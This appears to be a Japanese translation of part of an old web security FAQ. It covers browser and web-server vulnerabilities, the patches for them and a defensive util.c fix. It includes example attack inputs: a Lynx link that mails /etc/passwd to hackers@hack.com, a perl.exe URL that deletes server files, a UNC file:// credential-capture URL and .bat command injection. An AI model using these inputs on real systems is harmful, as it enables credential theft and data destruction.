侵入者がユーザの組織のシステム破壊に成功すると、ユーザ自身の操作によってシステムが破壊されたように見えるので、 ユーザに何らかの説明が求められるでしょう。LAN に接続していない場合でも問題はあります。 Windows ベースのファイル共有を行っているときは、ISP 経由でインターネットに接続している間に、 個人ファイルが盗まれたり破壊されたりする可能性があります。

これまでに3つの、別個ではあるが関連性のあるバグが見つかっています。最初に報告されたのは 1997 年 3 月 14 日、Aaron Spanger氏 によるもので、現時点ではまだ fix されていません。 これは、Windows 95、Windows NT、Windows 97 で実行されている Internet Explorer バージョン 3.01 以前 (Microsoft のセキュリティパッチを含む) で発生するバグです。 また、Windows NT システムおよび一部の Windows 95 システムで実行されている Netscape Navigator 3.01 (レギュラーおよび gold 版) および Netscape Communicator beta2 においても発生します (結果は様々です)。詳細については、以下を参照してください。

http://www.ee.washington.edu/computing/iebug/

二番目のバグは最初のバグの発見直後に Paul Ashton氏 が発見したもので、 Windows NT 3.51 / 4.0 (サーバ用およびワークステーション用) で実行されている IE (3.01 以前) で発生します。詳細については、以下を参照してください。 :

http://www.efsl.com/security/ntie/

1997 年 3 月 17 日に Steve Birnbaum 氏が報告した三番目のバグは、Windows 95 で実行されている Microsoft Internet Explorer (バージョン 3.01 以前) で発生します。詳細については、以下を参照してください。

http://www.security.org.il/msnetbreak/

これらのバグはすべて、ファイル共有を行うときにユーザを認証するための "challenge/response" モードで発生します。ここでは簡単に説明します。クライアントがサーバ (ファイルサーバ、Web サーバ、共有プリンタのいずれも含む) と通信しようとすると、サーバは、 任意に選択した "nonce" と延ばれる短いチャレンジ文字列をクライアントへ送信します。 クライアントはユーザのパスワードを使用して challenge を暗号化し、これとユーザ名、 およびその他の識別情報をサーバへ送信します。サーバは、ユーザのパスワードをパスワードデータベースから検索し、 検出したパスワードで challenge を暗号化します。この結果文字列とクライアントが送信した文字列を比較して一致すれば、 ネットワークにパスワードを送信しなくても、ユーザが正しいパスワードを認識しているとサーバが確認します。 この場合、暗号化されるのは「秘密」ではなく、暗号化鍵として使用されるパスワードであることに注意してください。

IE または Netscape で以下の URL を参照する場合 ("aa.bb.cc.dd" はリモートサーバのインターネットアドレス)、 ブラウザはローカルの LAN にあるファイルへアクセスするようにリモートファイルへアクセスしようとし、 上記の challenge/response システムによって認証を行おうとします。

file://\\aa.bb.cc.ddd\path\to\file
このとき、ユーザへの通知は一切行われません。

パスワード解読攻撃では、ここに位置しているホストが、任意に選択されたものではなく一定の challenge 文字列を毎回送信するよう特別に修正されたモードの Windows ファイル共有サーバを実行しています。ユーザのマシンは疑いもせずにユーザのパスワードでその challenge を暗号化し、サーバに送信します。サーバ側では、ユーザの送信した暗号化パスワードと、 その challenge を暗号化するのに以前使用された無数のパスワードを含む辞書とを比較できるようになります。 一致するものがあれば、ユーザのパスワード推測に成功したわけです (この方法は "dictionary attack" と呼ばれています)。 分かりやすいパスワードをつける人は多いので、うまくdictionaly attackを行えば平均推定時間を4分の1ほどに短縮することもできます。 サーバがユーザのパスワードを推測できない場合でも、マシン名、ユーザ名、ドメイン名など他の有益な情報が収集されます。 UNIX ベースの Windows ファイル共有サーバに対するソースコードは広く普及しているので、このようにサーバを 修正することは比較的簡単です。

Steve Birnbaum 氏が発見したバグでは、パスワードは暗号化さえされません。単純なテキスト形式でパスワードが不当なサーバに送信されます。 Windows 95 では、前述のようにあまり技術的に高度ではない認証方法が使用されているからです。

こうした方法でパスワードが盗まれても、ユーザはそれに気づきません。不当な URL は画像の中に隠すことができます。 ダウンロードした全ページのソースコードを調べない限り、問題の画像は、そのWebの他の画像と何ら変わりないように見えます。 Windows 以外のブラウザを使用している場合は、「壊れた画像」のアイコンが表示されますが、これも不信の目が向けられる可能性が低いものです。

この問題を回避するにはどうしたら良いでしょうか。Microsoft および Netscape がこのバグを修正しない限り、 ユーザが対処できることはほとんどありません。できるとしたら、推測されにくいパスワードを作成することです。 なるべく長く、予測のしにくいものがいいでしょう。自分しか意味のわからない文章を利用するのも有効です。 以下に例を示します。

blue wire chair too cold in AM
この文字列から各単語の最初の文字 (あるいは三番目または最後) を取って並べると、 bwctciA というパスワードができます。こうして作成したパスワードを他人と共有したり、 LAN へのログイン以外に使用してはいけません。

Q70: Microsoft Internet Explorer に既知の問題はありますか?

Internet Explorerには、JavaScript, JavaActiveX サブシステムと関連した各種のセキュリテ ィリスクがあります。これらの問題は、サブシステムの機能をオフにすれば回避できます。 本セクションでは、ブラウザソフトウェア本体に関する、解決の困難な既知の問題について説明します。

バッファ・オーバフロー (バージョン 4.0、4.01)

Microsoft Internet Explorer 4.0 および 4.01 (Windows 95、Windows NT、Macintosh、UNIX 版) には、ある HTML タグをソフトウェアが解析してデコードするやりかたにプログラムミスによる問題があります。 Web ページ作成者に知識があれば、このバグを利用して、ユーザが特定のページをダウンロードまたは画像表示したときに Internet Explorer をクラッシュさせることができます。これらのバグは、特に URL やその他の HTML 要素を保存するための、 バッファと呼ばれるメモリの静的領域と関連します。バッファが保存可能な長さを超える要素を処理しようとすると、 ブラウザがオーバランを起こしてプログラムがクラッシュします。 このようなメモリ・アロケーション・バグは、非常によく知られたプログラミング問題で、 CGI スクリプトおよび Web サーバで起こる様々なセキュリティホールの原因となっているものです。詳細については、安全な CGIスクリプトについての説明 を参照してください。

1998 年 1 月以来、何度もこの種のバグが発生しています。最初は "mk" バグと呼ばれ、特殊な "mk"、すなわち Microsoft ヘルプを起動する URLが関連するものです。このバグ にはパッチが当てられましたが、間もなくこの変形バグが発生しました。それから 1998 年 4 月には、 <EMBED> タグの処理に関連するバグが発見されました。

このクラスのバグは非常に重要な問題を抱えています。Web ページ作成者に知識があれば、このバグを利用して、 ユーザに気づかれないうちにそのマシンで不当なマシンコードを実行することがことができます。 コードによって、ウィルスのインストール、ファイルへの干渉、他のセキュリティ機能を disable にするための Internet Explorer コピーのパッチなど、あらゆる操作を実行できます。ブラウザのセキュリティ設定を変更したり、 アクティブな文書を disable にしても、これらのバグには何ら影響しません。 幸いなことに、既知の全メモリオーバフローバグのパッチを、Microsoft の Web サイト http://www.microsoft.com/security/. で入手できます。Internet Explorer の 4.01 以前のバージョンをご利用の場合は、パッチをダウンロードして適用してください。 あるいは、特に目立つセキュリティ問題の見られない Internet Explorer 3.02 にダウングレードするのも 1 つの方法です。

Internet Explorer のバッファ・オーバフロー・バグについては、以下を参照してください。

http://l0pht.com/advisories/

再帰フレームバグ (バージョン 4.0 〜 4.01) (1998 年 4 月)

Microsoft Internet Explorer は、「再帰」フレームを正しく検出および処理しません。 再帰フレームについては、recursive.htm という HTML ファイルを見てください。 このファイルには以下のようなコードが含まれています。
<HTML>
<FRAMESET COLS="*,*">
   <FRAME SRC="recursive.htm">
   <FRAME SRC="recursive.htm">
</FRAMESET>
</HTML>
このページでは、2 つの隣り合うフレームを定義しており、各フレームが元の文書を参照しています。 Internet Explorer がこのフレームセットを見つけると、文書をそれぞれのフレームへロードしようとします。 次に、各フレームにサブフレームを、その中にまたサブフレームを作成しようとします。 この動作が無限に繰り返され、ついには IE がメモリ不足になってクラッシュします。

このようなページはブラウザをクラッシュさせるという問題を起こしますが、 その他のセキュリティを脅かすものではありません。Netscape Navigator でも同じバグが発生するバージョンがありますが、4.0X シリーズでは問題がありません。

Shortcut バグ (バージョン 3.01 以前)

LAN パスワードバグ以外に、Microsoft Internet Explorer バージョン 3.01 以前には、リモー トコントロールでユーザのマシン上のコマンドを実行できるようにするという重大なバグがあります。 誤った URL をクリックするだけで、ハードディスクの内容を削除してしまうこともありえます。 非常に厄介なことに、このバグはプログラミング・スキルのない人物でも簡単に利用できてしまいます。

問題の原因は IE の「機能」に潜んでいます。ショートカットファイルは、通常はユーザがローカルマシンのファイルやプログラムにすばやくアクセスするために個人的に作成するものです。 ショートカットファイルが Web サーバにコピーされインターネット上でアクセス可能にされた場合、 ショートカットへのリンクをクリックすると、驚くべきことにユーザのローカルマシンにあるファイルのコピーを開くことが可能になります。 Windows レジストリエディタや DOS コマンドインタプリタなど、ファイルが実行可能プログラムであれば、 ユーザが知らないうちにそのプログラムが実行される危険性があるわけです。悪質な人物が、 複数のコマンドを .BAT ファイルにまとめ、怪しまれないようにユーザのブラウザキャッシュに格納し、 このファイルを実行することも可能です。

このバグは Windows 95 および Windows NT システムの両方に存在し、セキュリティレベルを最高にしても防ぐことはできません。 ActiveX または Java とは無関係です。HTML ファイル内のリンクだけでなく、 ニュースグループの記事や電子メールに埋め込まれたホットリンクでもこのバグは作用します。.

このバグを発見したのは Paul Greene 氏で、Geoffrey Elliot 氏と Brian Morin 氏の援助を受けてさらに調査を重ねました。 詳細については、(衝撃的な実例と共に) 以下を参照してください。http://www.cybersnot.com/iebug.html.

IE 3.01 以前のバージョンを実行している場合は、Microsoft Corporation のパッチを是非とも適用してください。http://www.microsoft.com/ie/security/update.htm. からダウンロードできます。このパッチを適用したら、[ヘルプ] メニューの [バージョン情報] を選択し、 IE のコピーが正しくアップデートされていることを確認してください。バージョンは "3.01b" と表示されるはずです。 パッチを適用すると、ショートカットファイルを開く前に警告メッセージが表示されるようになります。 通常、インターネットからダウンロードしたショートカットファイルは一切開かないほうがいいでしょう。

Internet Explorer のパッチ適用済みバージョンを実行しているかどうかを調べる簡単なテストがあります。以下のリンクを開いてみてください。 バイナリファイルを実行しようとしていることを知らせるメッセージが表示され、そのファイルを開くか保存するかを尋ねられれば、 パッチが適用されています。メモ帳が開くようであれば、パッチが適用されていません。

file:///C:\WINDOWS\NOTEPAD.EXE

1997 年 3 月 14 日、Microsoft は電子メールおよびニュース記事に添付されたショートカットファイルの問題についても処理しました。最初のパッチではこれらの問題を解決していませんでした。

ちなみに、インターネットとデスクトップの境界をなくそうという Microsoft の公式計画には欠点があります。 インターネット上、つまり外側にある信頼できないソフトウェアと、ユーザのローカルディスクで動作している信頼できるソフトウェアとが識別しにくいと、 ユーザはあらゆる妨害者にマシンを利用されてしまう方向へ簡単にミスリードされてしまうからです。私見としては、この戦略は危険を伴うものであると考えます。

Internet Explorer のセキュリティに関する FAQ については、以下にまとめられています。

http://www.nwnetworks.com/iesf.html
IE のセキュリティ問題については、ここを参照してください。

Q71: Netscape Communicator/Navigator には既知の問題がありますか?

Netscape ブラウザには、JavaScriptおよびJava インタプリタに関連する各種のセキュリティリスクがあります。これらの問題は、 インタプリタ機能をオフにすれば回避できます。 本セクションでは、ブラウザソフトウェア本体の部分に関する、解決の困難な既知の問題について説明します。

バッファ・オーバフロー (1998 年 4 月)

バッファ・オーバーフロー・バグは、最初に Internet Explorerで検出され、類似したバグがないか Netscape でも調査されてきましたが、やはり検出されました。

現在は、ブックマークファイルだけに既知のバグがあります。Netscape Communicator では、 固定サイズバッファを割り当てて、ブックマークを付けたページのタイトルを保存します。 タイトルの異常に長いページにユーザがブックマークを付けると、次にそのブックマークにアクセスしたとき Netscape がクラッシュします。Internet Explorer のバグ同様、 このバグを使ってブラウザに不当なコードを実行させることができます。

現時点では、Netscape のどのバージョンでこの問題が発生するか不明です。Windows 95 および Windows NT システムで実行するバージョン 4.03 および 4.04 にはこのバグがあることがわかっています。 Macintosh および UNIX ポートの状況は不明です。このバグに対するパッチはまだ (1998 年 4 月 13 日現在) ありません。 しかし、ブックマークを付ける前にページをよく確認すれば回避できる問題です。そのページのタイトルが非常に長いか特殊な文字が含まれている場合は問題が発生する可能性があります。


Q72: Lynx for Unix には既知の問題がありますか?

Lynx の 2.7.1 までのバージョンには、一貫して非常に大きな問題があります。すなわち、 backtick 文字を含む LYNXDOWNLOAD URL を作成することにより、Web 作成者がユーザのマシンで任意のコマンドを実行できるという問題です。 たとえば以下の URL を選択すると、システムパスワードファイルの内容がインターネット上に送信されます。
<
a href="LYNXDOWNLOAD://Method=-1/File=`mail%20hackers@hack.com%3C/etc/passwd`/SugFile=test">
ここをクリック
</a>
これは、ユーザが提供したパラメータに、シェルのメタキャラクタが存在するかどうかをチェックしていないために生じる問題で、CGI 開発者が何年も起こしている失敗です。

できるだけ早く Lynxを最新バージョンにアップグレードしてください。



10. 特定のサーバでの問題

Windows NT サーバ

Q73: Netscape Communications Server について、既知のセキュリティ問題はありますか?

脆弱な サーバサイドインクルードのソースコード(1998 年6 月 25 日)

San Diego Daily Transcript のオンラインニュースサービスの San Diego Source のプログラマは、 サーバサイドインクルードファイルを参照する URL の終わりに特定の文字を付け足すと、 独自情報を開示するファイルのソースコード、著作権のあるソースコードや、 データベースにログインするためのユーザ名とパスワードさえもリモートユーザが採取できることを発見しました。 サーバサイドインクルードへの影響に加え、このバグは Allaire Cold Fusion、Microsoft Active Server Pages、PHPなどの一般的な製品にも影響を及ぼしています。

このセキュリティ ホールの詳細は公開されていませんが、以下の場所に原文記事の説明があります。 http://www.sddt.com/files/library/98/06/25/tbc.html.

現在、Netscape は修正に取り組んでいるとのことです。パッチの入手については、Netscape のサイト を参照してください。 サーバサイドインクルードを使用する場合、パッチが入手可能になったら、 すぐにアップグレードすることを勧めます。

O'Reilly の WebSite と WebSite Professional サーバ も、このバグに対して脆弱です。 Microsoft IIS サーバは、脆弱ではないようです。

保護されたファイルへの裏口不正アクセス (1998 年 1 月 8 日)

Netscape Enterprise Server 3.0 と FastTrack 3.01 にはどちらも、無許可のリモートユーザが IP アドレスまたはパスワードで保護されている文書を取り出せてしまうバグがあります。 このバグは、標準 DOS 8.3 命名規約を使用しないファイルすべてに影響を及ぼします。 たとえば、その文書に somelongfile.htm という名前が付けられている場合、悪意のあるユーザは、 DOS でそのファイル名に対応する SOMEF〜1.HTM を要求することができます。 たとえその文書がパスワードで保護されていたとしても、取り出されてしまうでしょう。

このバグは、Enterprise Server 3.5.1 以降で修正されています。 ( ここ)をクリックしてテクニカル・ノートを参照してください。) FastTrack サーバに使用可能なパッチがあるかどうかわかりませんが、1998年6月30日現在でのバージョンは 3.01 のままです。

同じバグが Microsoft IIS サーバに存在します。 O'Reilly の WebSite Professional は問題ないとのことです。

Perl CGI スクリプトが誤設定されやすい。(1997 年)

Netscape サーバでは、NT のファイルマネージャによるファイル拡張子とアプリケーションとの関連付けは使用されていません。 このように、perl インタプリタに拡張子 .pl の関連付けを行なっていても、cgi-bin ディレクトリに置かれているとperlスクリプトのこの関連づけは認識されません。 つい最近まで、Netscape 技術ノートでは、perl.exe を cgi-bin に置き、 /cgi-bin/perl.exe?&my_script.pl. のようにスクリプトを参照することを勧めていました。

残念ながら、この方法ではインターネット上の誰もが、 /cgi-bin/perl.exe?&- e+unlink+%3C*%3E (実行時、この URL はサーバのカレントディレクトリ中のすべてのファイルを削除します) のようなスクリプトを呼び出すことによって、サーバ上で任意の Perl コマンドを実行することができます。これは良くないことです。最新の Netscape 技術ノートでは、 Perl スクリプトを .bat ファイル中にカプセル化することを勧めています。しかし、 バッチスクリプトと関連する問題があるため、この方法は安全ではありません。

BEMWACS、PurveyorやWebSite NT サーバではすべて、ファイルマネージャの拡張子関連付けが使用されているため、 perl.exe を cgi-bin に置かずに、これらのサーバ上の perl スクリプトをに実行することができます。 これらのサーバにはこのバグはなく、安全です。

DOS の .bat ファイルの低い安全性 (1996年2月)

Netscape サーバの古いバージョン (Netscape Communications Server version 1.12Netscape Commerce Server version 1.0の両方) には、CGI スクリプト処理を含む 2 つの問題があります。これらの問題のうち 1 つは、WebSite Serverにもあります。

Ian Redfern氏は、.bat ファイルで実行される CGI スクリプトの処理において、同様の問題が存在することを発見しました。以下は、この問題を述べた彼のメールからの抜粋です。

  以下のtest.batを例に取ります。

    @echo off
    echo Content-type: text/plain
    echo
    echo Hello World!

  これが "/cgi-bin/test.bat?&dir" として呼び出された場合、CGI プログラムが表示され、
  次にディレクトリリストが表示されます。

 サーバは、/bin/sh と同じ方法でコマンドインタプリタが処理している (無分別にではなく) 
システム ("test.bat &dir") を実行しているように見えます。そして、完了すると、dir コマンドを実行します。

Q74: Windows NT/95版 の O'Reilly WebSite サーバについて、既知のセキュリティ問題はありますか?

脆弱な サーバサイドインクルードのソースコード(1998 年 6 月 25 日)

San Diego Daily Transcript のオンラインニュースサービスの San Diego Source のプログラマは、サーバサイドインクルードファイルを参照する URL の終わりに特定の文字を付け足すと、 独自情報を開示するファイルのソースコード、著作権のあるソースコードや、 データベースにログインするためのユーザ名とパスワードさえもリモートユーザが採取できることを発見しました。 サーバサイドインクルードへの影響に加え、このバグは Allaire Cold Fusion、Microsoft Active Server Page(サードパーティのASPインタプリタを使用しているもの)、 PHPなどの一般的な製品にも影響を及ぼしています。

このセキュリティホールの詳細は公開されていませんが、以下の場所に原文記事の説明があります。http://www.sddt.com/files/library/98/06/25/tbc.html.

O'Reilly は、 WebSite と WebSite Professional バージョン 2.3 にfixを行う予定であると発表しました。 サーバサイドインクルードを使用する場合には、アップグレードを行なう必要があります。

Windows ベースの Netscape サーバ も、このバグに対して脆弱です。 Microsoft IIS サーバは、脆弱ではないようです。

脆弱な .BAT スクリプト (1996 年)

バージョン 1.1b 以前の WebSite は、 DOS .bat fileについてNetscape と 同じ問題を抱えています。 しかし、WebSite では 3 つの異なるタイプの CGI スクリプトインターフェース (ネイティブの Windows、Perl スクリプトの標準 CGIと、ほとんど使用されない DOS .bat ファイルのインターフェース) をサポートしているため、サーバの DOS CGI スクリプトのサポートを停止することを勧めます。これにより Visual Basic、Perlや C スクリプトを実行するサーバの能力に影響が出ることはまったくありません。

このセキュリティホールは、バージョン 1.1c で fix されています。WebSite ホームページにあるパッチを使用して、 このバージョンにアップグレードしてください。

WebSite の .bat ファイルのセキュリティホールを防ぐために必要な処置の詳細については、 WebSite の開発者が提供しているこのページ にあります。

Q75: Windows NT版 の Purveyor Server について、既知のセキュリティ問題はありますか?

すべてのバージョンの Purveyor Web サーバは、サーバサイドインクルードファイルのソースコードを開示してしまう同様のバグに対して脆弱です。 詳細については、 Netscape Enterprise Server の項のバグの記述を参照してください。Purveyor のサポートは、 1997年で中止されているため、 fix およびアップグレードはできません。サーバサイドインクルードの使用を避けるか、サーバソフトウエアをすべて変更するしかありません。

Q76: Microsoft の IIS Web サーバについて、既知のセキュリティ問題はありますか?

保護されたファイルへの裏口不正アクセス (1998年1月8日)

Microsoft Internet Information サーバと Personal Web サーバ バージョン 4.0 にはどちらも、 無許可のリモートユーザが、 IPアドレスまたは SSL を使用して制限されている文書を取り出せてしまうバグがあります。 このバグは、標準 DOS 8.3 命名規約を使用しないファイルすべてに影響を及ぼします。たとえば、 その文書に somelongfile.htm という名前が付けられている場合、悪意のあるユーザは、 DOS でそのファイル名に対応する SOMEF〜1.HTM を要求することができます。たとえその文書へのアクセスが制限されていたとしても、 取り出されてしまいます。パスワード保護は、ファイルシステム・アクセスコントロールリストによって行なわれますが、 このバグの影響を受けません。ただし、PICS 評価のように、 ファイル固有の設定の中には影響を受けるものもあります。

パッチは、Microsoft の セキュリティ・ページで入手可能です。IIS の新しいバージョンは問題ありません。

同じバグが Netscape Enterprise server と Commerce serverにに存在します。WebSite Professional の最近のバージョンは問題ないとのことです。

.BAT CGI スクリプトの欠陥 (1996 年 3 月)

1996 年 3 月 5 日よりも以前にダウンロードされていた Microsoft IIS サーバのバージョンには、 他の NT ベースのサーバにあるものと同じ .BAT ファイルのバグが含まれています。 悪意のあるリモートユーザがサーバ上の任意の DOS コマンドを呼び出すのにBAT CGI スクリプトをサーバにインストールする必要さえないため、この問題は実際、他のサーバのものより大きいといえます。

Microsoft はこのバグに対するパッチをリリースし、 http://www.microsoft.com/infoserv で入手が可能です。また、1996 年 3 月 5 日以後にダウンロードした IIS サーバのすべてのファイルには、 このバグはありません。IIS サーバを使用する場合には、サーバのバイナリの作成日を確認し、必要に応じてアップグレードする必要があります。

バージョン 3.0 までの Microsoft IIS は、リモートユーザが、ローカルネットワーク構成、 データベースの名前、またはベンダの値引き計算に使用されるアルゴリズムについての機密情報を密かに見るために、 実行スクリプトのコンテンツをダウンロードしたり、読むことができるバグに対して脆弱です。 このバグは、実行と読み出しの両方のパーミッションを持つディレクトリに、スクリプトがマップされたファイルがあるときに生じます。リモー トユーザは、その URL の最後にピリオドを付加するだけで、そのスクリプトをダウンロードすることができます。 このバグを回避するには、スクリプトを含むすべてのディレクトリで、読み込み許可をオフにします。 あるいは、以下の場所でMicrosoft が提供するパッチをダウンロードしてください。

ftp://ftp.microsoft.com/bussys/winnt/winnt-public/fixes/usa/nt40/hotfixes-postsp2/iis-fix

DoS (サービス拒否) 攻撃 (1997 年 6 月 25 日)

IIS バージョン 3.0 は、単純な DoS 攻撃に脆弱です。IIS サーバに、特定の長さの長い URL を送信することによって、インターネット上の誰もが Web サーバをクラッシュすることができます。 IIS サーバは、Web サービスを再開するために、手動で再立ち上げる必要があります。 このバグを悪用する様々な Perl や Javaなどの様々なプログラムがインターネット中に広まり、 実際の被害も報告されています。

クラッシュに必要な URL の正確な長さは、サーバの種類によって異なり、またメモリ使用などの問題によって決まります。 クラッシュが起こるのは、通常、約 8,192 文字で、メモりバッファ・オーバフローによる問題であることが明らかになっています。 過去に、知識のあるクラッカーがよくこの問題を利用して、サーバ上のリモートコマンドを実行してきており、 このバグは単に厄介であるという以上の問題に発展する可能性があります。

パッチは Microsoft の以下のサイトで入手できます。 ftp://ftp.microsoft.com/bussys/winnt/winnt-public/fixes/usa/nt40/hotfixes-postSP3/iis-fix

Q77: Sun Microsystem の JavaWebServer for Windows NT で既知のセキュリティ問題はありますか?

公開に脆弱な Servlet ソースコード(1998 年 6 月 29 日)

JavaWebServer は、Java クラスのファイルを、CGI スクリプトと同じような方法で (ただし、 はるかに効果的に) コンパイルし、実行することができます。これらの小さな Java プログラムを、 "servlet" と呼びます。

Windows NT 版の JavaWebServer は、リモートユーザによる Java servlet のソースコードのダウンロードを可能にするバグに対して脆弱です。 このバグは、Windows NT 版のO'Reilly WebSite ProfessionalNetscape Enterprise Server で確認されたものに類似しています。servlet の URL の終わりにある文字を付加することにより、 リモートユーザが、サーバを騙して、コンパイルした servlet を自分に送らせ、その servlet を、 Mocha のような製品を使用して逆コンパイルすることができます。servlet には独自コード、 取引上の秘密や、データベースアクセスのパスワードが含まれていることがあるため、この問題は重大です。

Sun はこの問題に対する fix をまだ発表していません。詳細については、Sun の Web サイトで確認してください。詳細については、以下で参照できます。 http://www.sddt.com/files/library/98/06/29/tbd.html

Q78: MetaInfo MetaWeb Server について、既知のセキュリティ問題はありますか?

保護されない物理パス (1998 年 6 月 30 日)

MetaInfo (www.metainfo.com) は、UNIX の Sendmail プログラムのポートや DHCP/DNS サーバを含む、多数の NT 製品を出しています。 MetaInfo は、使いやすいフロントエンドのNT製品の管理ツールとして、MetaWeb という Web サーバを提供しています。本文書の執筆時、MetaWeb のバージョンは 3.1です。

このバグを発見した Jeff Forristal 氏によると、MetaWeb は Microsoft IIS サーバの初期のバージョンで起きた 「ダブルドット (複付点)」問題に脆弱性があるそうです。URL のパスに ".." と2つのドットを入れると、サーバは騙されて、Windows システムディレクトリ中の文書を含む、 Web 文書のルート以外のディレクトリにアクセスを許可してしまいます。これによって、 パスワードのファイルや他の機密情報の検索が可能になります。さらに、この攻撃に変化を加えると、 リモートユーザは、サーバマシン上にインストールされている実行可能なバイナリをどれでも実行できるようになります。

MetaWeb は、まだアップグレードされておらず、パッチも提供されていません。 fix が用意されたら、アップグレードすることを強く勧めます。それまでは、Web インターフェイス経由のリモート管理を無効にするのが有効です。

MetaInfo のバグの詳細については、Jeff Forristal氏のサイトに掲載されています。

Unix サーバ

Q79: NCSA httpd について、既知のセキュリティ問題はありますか?

1.4 以前の NCSA httpd のバージョンには、固定サイズの文字列のバッファに関する深刻なセキュリティの問題があります。 リモートユーザは、非常に長い URL をリクエストすることでこのサーバを実行しているシステムに侵入することができます。 このバグが広く知られるようになってからすでに一年以上が経過していますが、多くのサイトではまだ、 安全でないバージョンのサーバが稼動しています。 このソフトウエアの現在のバージョン 1.5は、バグの問題はなく、この段落の最初にあるリンクで入手できます。

最近、安全な CGI スクリプトの書き方の手本として長年 NCSA httpd とともに配布されていた C のサンプルコード (cgi_src/util.c) において、シェルに渡すべきではない文字のリストから、 改行文字が抜けていたことが明らかになりました。この脱落によって、そのサンプルコードを基に書かれたすべての CGI スクリプトに重大なバグが生じます。リモートユーザはこのバグを利用して、 CGI スクリプトに任意の UNIX コマンドを実行させることができます。これは、 CGIスクリプトからシェルコマンドが実行される危険性 を示すもう一つの例です。

さらに、NCSA サーバのコードソースツリーそれ自体に、同じバグ (バージョン1.5a 以前) があります。バグがあるサブルーチンはまったく同じものですが、この場合では、 cgi_src/util.c の反対にある、ファイル src/util.c にあります。サーバソースコードをよく調べましたが、 このサブルーチンによって処理された後、ユーザが与えた文字列がシェルに渡される場所を見つけることはできませんでした。 したがって、著者はこの問題はセキュリティホールとして考えていません。 しかし、念のために以下に示すパッチを適用しておくと良いでしょう。

バージョン 1.02 以前の Apache サーバにも、cgi_src と src/ の両方のサブディレクトリにこの欠陥があります。 NCSA ソースコードの他の系列には、同じ問題はないようです。

2 つの util.c ファイル中の欠陥を fix するパッチは単純です。"phf" とこのライブラリを使用するすべての CGI スクリプトは、 このパッチ (GNU パッチプログラムは ftp://prep.ai.mit.edu/pub/gnu/patch-2.1.tar.gz) にあります) の適用後、再コンパイルする必要があります。このパッチは 二回適用する必要があり、 一回目は cgi_src/ サブディレクトリ内で、もう一 回は src/ ディレクトリの中で行ないます。

   tulip% cd ~www/ncsa/cgi_src
   tulip% patch -f < ../util.patch
   tulip% cd ../src
   tulip% patch -f < ../util.patch

---------------------------------- ここで切り取る ----------------------------------
*** ./util.c.old        Tue Nov 14 11:38:40 1995
--- ./util.c            Thu Feb 22 20:37:07 1996
***************
*** 139,145 ****
  
      l=strlen(cmd);
      for(x=0;cmd[x];x++) {
!         if(ind("&;`'\"|*?~<>^()[]{}$\\",cmd[x]) != -1){
              for(y=l+1;y>x;y--)
                  cmd[y] = cmd[y-1];
              l++; /* length has been increased */
--- 139,145 ----
  
      l=strlen(cmd);
      for(x=0;cmd[x];x++) {
!         if(ind("&;`'\"|*?~<>^()[]{}$\\\n",cmd[x]) != -1){
              for(y=l+1;y>x;y--)
                  cmd[y] = cmd[y-1];
              l++; /* length has been increased */
---------------------------------- ここで切り取る ----------------------------------

Q80: Apache httpd について、既知のセキュリティ問題はありますか?

1.2.5 以前のバージョンの Apache httpd には、中規模のセキュリティの危険を生じさせるプログラミングエラーがあります。 サーバマシンにローカルアクセスするユーザ (例 Web ページ作成者など) は、高度なHTML ファイルを作成し、 そのファイルが取り出されたとき、Webサーバのユーザパーミッションを得てUNIX コマンドを実行可能とすることができます。 ローカルユーザは通常、Web サーバほどは多くないにしてもそれと同じくらいのシステムのアクセス権限をすでに持っているため、 危険性は大きくありませんが、信用できないページ作成者に Web ホストサービスを提供する ISP には、重大かもしれません。Apache バージョン1.2.5 には、これらのバグがありませんので、なるべく早くアップグレードしてください。 Apache のバージョン 1.3 ベータを使用している場合には、Apache サイトにあるパッチを適用するか、 1.3b4 のリリースを待つと良いでしょう。

1.1.3 以前の Apache サーバには、さらに重大なセキュリティホールが 2 つあります。一番目のセキュリティホールは、 "mod_cookies" モジュールでコンパイルされたサーバに影響を及ぼします。 このモジュールでコンパイルされたサーバには、リモートユーザが極端に長いクッキーをサーバに送り、 プログラムスタックをオーバーランさせることにより、潜在的に任意のコマンドの実行を可能にする脆弱性があります。 これによって、リモートユーザがサーバホストにアクセスが可能になるため、脆弱性は、ローカルユーザにしか利用できなかった前述のセキュリティホールよりもはるかに著しいものとなります。

1.1.1 の二番目のセキュリティホールは、自動ディレクトリリストに影響を及ぼします。通常、ディレクトリに "index.html" のような "welcome page" がある場合には、ディレクトリ・リストを得ることはできません。 バグによって特定の環境下でこのチェックが失敗し、welcome page が存在しても、リモートユーザはディレクトリの内容を見ることができます。 このセキュリティホールは、前者ほど深刻ではありませんが、それでも潜在的に情報が漏れる恐れがあります。

詳細および Apache の最新バイナリは、以下の場所にあります。

http://www.apache.org/

Q81: Netscape サーバについて、既知のセキュリティ問題はありますか?

バージョン 3.6sp2以前の Netscape Enterprise サーバには、バージョン 3.01以前のFastTrack サーバと同様に、リモートユーザがサーバマシンのシェルにアクセスすることを可能にするバッファ・オーバフローのバグがあります。 この問題およびパッチの方法の詳細については、以下を参照してください。 http://www.ciac.org/ciac/bulletins/j-062.shtml.

また最近よく知られたものとして、Netscape Secure Commerce Server が機密通信の暗号化で使用するシステムがクラックされる事件が二件起きました。 一件目は、Netscape の、セキュリティが不完全な 40 ビットの暗号化キーで暗号化されたメッセージが、 ワークステーションのネットワークを使ってbrute force方式によりクラックされた問題です。 アメリカとカナダ内での通信に使用されている 128 ビットの暗号化キーは、この種の攻撃を受ける心配がないとされています。

二件目は、暗号化キーを生成するためにこのサーバ内で使用する乱数発生プログラムが、 比較的推測しやすく、クラックプログラムを使用すると素早く鍵が推測できることがわかったという問題です。 最近のリリースでは、この欠陥は修正されているので、暗号を使用して安全に通信したい場合は、 現在のバージョンにアップグレードをする必要があります。 この欠陥を完全に防ぐには、サーバとブラウザの両方をアップグレードする必要があります。 詳細については、以下を参照してください。 http://home.netscape.com/newsref/std/random_seed_security.html for details.

Q82: Lotus Domino Go サーバについて、既知のセキュリティ問題はありますか?

Bill Jones 氏<webmaster@fccj.cc.fl.us> は、以前 IBM Internet Connection Server (ICS) として 知られていた Lotus Domino Go の古いバージョンには、ディレクトリブラウジングを "fancy" と設定すると、潜在的クラッカーがディレクトリツリーをルート ("/") まですべてブラウズすることが可能になるセキュリティホールがあったと報告しています。 これにより、非公開のシステムファイルや他の文書が盗み見されてしまいます。このバグは、ICS のバージョン 1.0 から 2.0 まで存在し、AIX と OS/2 Warp バージョンの両方に影響を及ぼしました。

